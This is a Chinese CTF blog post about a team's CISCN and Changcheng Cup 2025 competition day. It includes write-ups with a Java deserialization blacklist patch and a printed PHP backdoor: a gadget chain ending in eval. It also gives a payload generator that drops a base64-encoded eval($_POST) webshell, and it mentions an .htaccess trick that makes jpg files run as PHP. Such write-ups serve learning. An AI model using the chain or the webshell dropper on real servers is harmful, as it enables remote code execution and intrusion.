我的CISCN&长城杯2025小记

本文最后更新于:11 天前

前一天晚上因为喝了一杯奶茶导致1点和Wells打完一个靶场后,躺床上一直到6点起来都没睡着,,

酒店很好,床很舒服,凌晨三点外面的风呼呼的吹

但是我真的睡不着啊啊啊啊,,,,

不过今天起床后居然没有想象的困,早餐点了杯超浓咖啡(苦,又跑便利店买了瓶红牛,但是队友说不能带进去赛场!

好吧只能边骑边吹了

一整天的状态意外地不错,上午AWDP干到了13名,主要就打了java的patch,剩下全靠pwn队友发力

下午isw,平时没怎么打过靶场,应急响应交给Wells苦苦折磨了(((

git打进去之后怎么都找不到flag在哪,,,然后到处翻的时候,一些用户弱口令也是拿到了,但是不知道有啥用,当时总觉得有用,但是没找到有啥用,

结果唯一一个提交的flag居然是大家都没怎么发现的flag4,,?在/home/gitlab/lookme下

第三题的xss出的还挺巧妙的,很仿真,打进去之后一波.htaccess解析jpg直接绕过后缀过滤,也是顺利拿下webshell

cat了根目录下的flag.txt之后就不知道干啥了,,,

平时靶场打的少真的很致命,只要是webshell落地linux低权限用户,我就会大脑宕机TAT

shiro那题不知道是我的key字典的问题还是什么,就是扫不出,不过不排除本身就没漏洞,也没找到什么泄露key啥的,找到一些文件操作相关的api像upload、copy啥的,但是都需要登录,爆破密码也没结果?一筹莫展,期待大佬们的wp

然后下午马马虎虎拿了个20,还好,总排名17至少保住了ccb的总决赛,和ciscn总决赛擦肩而过!

本来回来想去广州塔逛逛,但是天空飘起了小雨,遂回酒店

感谢给力的队友们!

AWDP

time-capsule

(解题者Potatowo)

attack

要控制反序列化流必须拿到key来加密序列化字节,怎么拿到key呢?本地debug良久,没想出对策,猜测是aes的漏洞,但是不会,TAT

patch

解压jar包后,注意到lib目录下有存在hibernate与jackson依赖,基于原生反序列化可导致任意getter调用,Hikari会导致高版本jndi绕过,h2结合jdbc会导致rce,

jar中的一个getterHandler存在invoke(),用动态代理也会触发

使用插件JarEditor对SafeObjectInputStream打patch(下面的patch是我赛后赶着写wp的时候瞎写的,存在挺多毛病,不要介意

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.ctf.util;

import java.io.IOException;
import java.io.InputStream;
import java.io.InvalidClassException;
import java.io.ObjectInputStream;
import java.io.ObjectStreamClass;

public class SafeObjectInputStream extends ObjectInputStream {
public SafeObjectInputStream(InputStream in) throws IOException {
super(in);
}

protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().startsWith("com.ctf.") && !desc.getName().startsWith("java.") && !desc.getName().equals("[B") ||desc.getName().contains("jackson") || desc.getName().contains("hibernate") ||desc.getName().contains("h2") ||desc.getName().contains("jackson")) {
throw new InvalidClassException("Unauthorized class deserialization", desc.getName());
} else {
return super.resolveClass(desc);
}
}
}

ISW

Web-Git

(解题者Potatowo)

扫描目录得到备份文件

在sqlhelper.php种存在非常明显的反序列化链,甚至都不要自己去构造

这玩意压根就是后门,,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
<?php 
class sqlhelper{
private $mysqli;
private static $host="127.0.0.1";
private static $user="root";
private static $pwd="******";
private static $db="mail";
public function __construct()
{
$this->mysqli= new mysqli(self::$host,self::$user,self::$pwd,self::$db);
if($this->mysqli->connect_error){
die("链接失败".$this->mysqli->connect_error);
}
$this->mysqli->query("set names utf8");
}
public function execute_dql($sql){
$res=$this->mysqli->query($sql) ;
return $res;
}
public function execute_dml($sql){
$res=$this->mysqli->query($sql) ;
if(!$res){
return 0;
}else{
if($this->mysqli->affected_rows>0){
return 1;
}else{
return 2;
}
}
}
public function close_sql(){
$this->mysqli->close();
}
}

if (isset($_POST['un']) && isset($_GET['x'])){
class allstart
{
public $var1;
public $var2;

public function __construct()
{
$this->var1=new func1();
}


public function __destruct()
{
$this->var1->test1();
}
}
class func1
{
public $var1;
public $var2;

public function __construct()
{
$this->var1=new func2();
}

public function test1()
{
$this->var1->test2();
}
}
class func2
{
public $var1;
public $var2;

public function __construct()
{
$this->var1=new func3();
}

public function __call($test2,$arr)
{
$s1 = $this->var1;
$s1();
}
}
class func3
{
public $var1;
public $var2;

public function __construct()
{
$this->var1=new func4();
}

public function __invoke()
{
$this->var2 = "concat string".$this->var1;
}
}
class func4
{
public $str1;
public $str2;

public function __construct()
{
$this->str1=new toget();
}

public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class toget
{ public $todo;
public function __construct()
{
$this->todo="system('ls');";
}
public function get_flag()
{
eval($this->todo);
}
}


unserialize($_POST['un']);
}
?>

编写payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
<?php 

class allstart
{
public $var1;
public $var2;

public function __construct()
{
$this->var1=new func1();
}


public function __destruct()
{
$this->var1->test1();
}
}
class func1
{
public $var1;
public $var2;

public function __construct()
{
$this->var1=new func2();
}

public function test1()
{
$this->var1->test2();
}
}
class func2
{
public $var1;
public $var2;

public function __construct()
{
$this->var1=new func3();
}

public function __call($test2,$arr)
{
$s1 = $this->var1;
$s1();
}
}
class func3
{
public $var1;
public $var2;

public function __construct()
{
$this->var1=new func4();
}

public function __invoke()
{
$this->var2 = "concat string".$this->var1;
}
}
class func4
{
public $str1;
public $str2;

public function __construct()
{
$this->str1=new toget();
}

public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class toget
{ public $todo;
public function __construct()
{
$this->todo="file_put_contents('potato.php',base64_decode('PD9waHAgZXZhbCgkX1BPU1RbMV0pOw=='));";
}
public function get_flag()
{
eval($this->todo);
}
}


echo urlencode(serialize(new allstart()));

传值,会生成一个potato.php

蚁剑直接连接

随后在/home/gitlab/lookme读到flag4

还有题尚未整合进来,之后再更,咕咕咕